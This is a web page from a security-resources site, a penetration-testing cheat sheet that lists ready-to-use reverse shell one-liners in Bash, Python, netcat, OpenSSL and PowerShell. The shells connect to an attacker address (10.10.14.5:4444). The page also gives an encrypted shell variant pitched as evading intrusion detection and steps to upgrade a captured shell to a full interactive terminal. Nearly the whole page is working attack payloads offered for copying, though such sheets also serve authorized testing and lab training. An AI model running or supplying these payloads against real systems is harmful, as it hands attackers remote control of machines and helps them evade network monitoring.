Security Resources

⌘K
  1. Home
  2. Security Resources
  3. Penetration Testing Trick...
  4. Reverse Shell Cheat Sheet and TTY Upgrades

Reverse Shell Cheat Sheet and TTY Upgrades

Reverse Shell & Terminal Upgrade Cheat Sheet
Reliable, copy-pasteable reverse shell payloads across Bash, Python, Socat, PowerShell, and OpenSSL, plus full interactive TTY stabilization workflows.

1. Native Linux Reverse Shell Payloads

# Standard Bash TCP reverse shell
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

# Bash read-line redirection (when standard redirection is filtered)
exec 5<>/dev/tcp/10.10.14.5/4444; cat <&5 | while read line; do $line 2>&5 >&5; done

# Python 3 reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Netcat without -e flag (Named pipe FIFO)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.5 4444 > /tmp/f

2. Encrypted OpenSSL & Socat Shells


Evasion against Network Intrusion Detection Systems (NIDS) and Deep Packet Inspection (DPI):

# 1. Attacker generates self-signed certificate and starts OpenSSL listener
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

# 2. Target initiates encrypted reverse shell
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.14.5:4444 > /tmp/s; rm /tmp/s

3. Windows PowerShell Reverse Shells

# PowerShell one-liner reverse TCP shell
powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('10.10.14.5',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + 'PS ' + (pwd).Path + '> ';$by=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($by,0,$by.Length);$s.Flush()};$c.Close()"

4. Upgrading to Full Interactive TTY


Raw netcat reverse shells lack command history, tab completion, job control (Ctrl+C kills the shell), and correct window dimensions. Follow this 4-step stabilization sequence:

# Step 1: Inside the raw netcat shell, spawn a PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Step 2: Background the netcat shell
# Press: Ctrl + Z

# Step 3: In your local terminal, raw-echo terminal input and foreground the shell
stty raw -echo; fg

# Step 4: Inside the restored shell, set terminal variables and window dimensions
reset
export TERM=xterm-256color
export SHELL=bash

# Check dimensions in local terminal (stty size) and apply:
stty rows 38 columns 160